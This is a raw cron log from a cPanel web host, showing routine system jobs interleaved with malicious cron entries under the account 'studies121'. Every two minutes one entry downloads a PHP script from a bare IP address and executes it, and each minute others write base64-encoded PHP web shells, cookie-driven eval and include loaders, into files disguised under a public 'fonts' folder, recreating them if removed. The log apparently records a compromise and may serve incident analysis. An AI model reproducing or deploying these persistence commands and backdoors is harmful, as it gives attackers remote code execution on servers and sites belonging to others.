Sep  7 04:22:01 ip-184-168-122-23 CROND[13619]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 04:22:01 ip-184-168-122-23 CROND[13617]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:23:01 ip-184-168-122-23 CROND[13743]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 04:23:01 ip-184-168-122-23 CROND[13746]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 04:23:01 ip-184-168-122-23 CROND[13745]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:23:01 ip-184-168-122-23 CROND[13747]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:24:01 ip-184-168-122-23 CROND[13839]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 04:24:01 ip-184-168-122-23 CROND[13841]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:24:01 ip-184-168-122-23 CROND[13846]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 04:24:01 ip-184-168-122-23 CROND[13843]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:24:01 ip-184-168-122-23 CROND[13844]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 04:25:02 ip-184-168-122-23 CROND[14040]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 04:25:02 ip-184-168-122-23 CROND[14045]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 04:25:02 ip-184-168-122-23 CROND[14043]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 04:25:02 ip-184-168-122-23 CROND[14042]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:25:02 ip-184-168-122-23 CROND[14047]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 04:25:02 ip-184-168-122-23 CROND[14044]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:25:02 ip-184-168-122-23 CROND[14046]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  7 04:26:01 ip-184-168-122-23 CROND[14160]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 04:26:01 ip-184-168-122-23 CROND[14162]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 04:26:01 ip-184-168-122-23 CROND[14164]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 04:26:01 ip-184-168-122-23 CROND[14166]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:26:01 ip-184-168-122-23 CROND[14165]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:27:01 ip-184-168-122-23 CROND[14284]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 04:27:01 ip-184-168-122-23 CROND[14285]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:27:01 ip-184-168-122-23 CROND[14286]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:27:01 ip-184-168-122-23 CROND[14287]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 04:28:01 ip-184-168-122-23 CROND[14418]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 04:28:01 ip-184-168-122-23 CROND[14420]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:28:01 ip-184-168-122-23 CROND[14422]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 04:28:01 ip-184-168-122-23 CROND[14423]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:28:01 ip-184-168-122-23 CROND[14421]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 04:29:01 ip-184-168-122-23 CROND[14549]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:29:01 ip-184-168-122-23 CROND[14548]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 04:29:01 ip-184-168-122-23 CROND[14551]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 04:29:01 ip-184-168-122-23 CROND[14555]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:30:01 ip-184-168-122-23 CROND[14687]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/cull_bad_shunt)
Sep  7 04:30:01 ip-184-168-122-23 CROND[14689]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 04:30:01 ip-184-168-122-23 CROND[14690]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:30:01 ip-184-168-122-23 CROND[14693]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 04:30:01 ip-184-168-122-23 CROND[14695]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 04:30:01 ip-184-168-122-23 CROND[14696]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 04:30:01 ip-184-168-122-23 CROND[14698]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 04:30:01 ip-184-168-122-23 CROND[14697]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 04:30:01 ip-184-168-122-23 CROND[14699]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  7 04:30:01 ip-184-168-122-23 CROND[14694]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:31:01 ip-184-168-122-23 CROND[14877]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 04:31:01 ip-184-168-122-23 CROND[14880]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:31:01 ip-184-168-122-23 CROND[14878]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 04:31:01 ip-184-168-122-23 CROND[14882]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:31:01 ip-184-168-122-23 CROND[14886]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 04:32:01 ip-184-168-122-23 CROND[15100]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 04:32:01 ip-184-168-122-23 CROND[15102]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:32:01 ip-184-168-122-23 CROND[15103]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 04:32:01 ip-184-168-122-23 CROND[15104]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 04:32:01 ip-184-168-122-23 CROND[15105]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:33:01 ip-184-168-122-23 CROND[15355]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 04:33:01 ip-184-168-122-23 CROND[15356]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 04:33:01 ip-184-168-122-23 CROND[15359]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:33:01 ip-184-168-122-23 CROND[15358]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:34:01 ip-184-168-122-23 CROND[15557]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 04:34:01 ip-184-168-122-23 CROND[15559]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:34:01 ip-184-168-122-23 CROND[15561]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 04:34:01 ip-184-168-122-23 CROND[15563]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
